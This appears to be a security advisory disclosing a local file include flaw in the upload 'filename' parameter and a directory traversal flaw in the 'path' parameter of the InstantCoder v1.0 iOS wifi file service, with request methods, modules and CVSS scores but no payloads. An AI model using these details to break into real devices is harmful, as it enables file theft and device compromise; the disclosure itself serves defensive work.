Technical Details & Description:

|
================================
|
|
1.1
|
|
A local file include web vulnerability has been discovered in the official InstantCoder v1.0 iOS mobile web-application (wifi).
|
|
The file include vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path
|
|
commands to compromise the mobile web-application.
|
|
|
|
The web vulnerability is located in the `filename` value of the `./toolkit/upload` module. Remote attackers are able to inject own
|
|
files with malicious `filename` values in the `file upload` POST method request to compromise the mobile web-application. The local
|
|
file/path include execution occcurs in the index file dir listing and sub folders of the wifi interface. The attacker is able to
|
|
inject the lfi payload by usage of the wifi interface or local file sync function.
|
|
|
|
Attackers are also able to exploit the filename issue in combination with persistent injected script code to execute different malicious
|
|
attack requests. The attack vector is located on the application-side of the wifi service and the request method to inject is POST.
|
|
|
|
The security risk of the local file include vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4.
|
|
Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account.
|
|
Successful exploitation of the local file include vulnerability results in mobile application compromise or connected device component compromise.
|
|
|
|
Request Method(s):
|
|
[+] [POST]
|
|
|
|
Vulnerable Module(s):
|
|
[+] ./toolkit/upload
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] filename
|
|
|
|
Affected Module(s):
|
|
[+] Index File Dir Listing (http://localhost:8080/)
|
|
|
|
|
|
|
|
1.2
|
|
A directory traversal web vulnerability has been discovered in the official InstantCoder v1.0 iOS mobile web-application (wifi).
|
|
The vulnerability allows remote attackers to unauthorized access path variables to compromise the web-application or mobile device.
|
|
|
|
The directory traversal web vulnerability is located in the `path` value of the `listFiles` module. Remote attackers are able to
|
|
manipulate the path variable GET or POST method request to compromise the application. The request method to inject the payload is
|
|
POST and the request method to execute is GET. The attack vector of the vulnerability is located on the application-side. The path
|
|
variable is not encoded or parsed. Thus allows an attacker to inject to unauthorized access the local system or app path.
|
|
|
|
The security risk of the path traversal vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.0.
|
|
Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application (wifi ui) user account.
|
|
Successful exploitation of the path traversal vulnerability results in mobile application compromise or compromise of connected device components.
|
|
|
|
|
|
Request Method(s):
|
|
[+] [POST]
|
|
|
|
Vulnerable Module(s):
|
|
[+] ./listFiles
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] path
|
|
|
|
Affected Module(s):
|
|
[+] Index File Dir Listing (http://localhost:8080/)
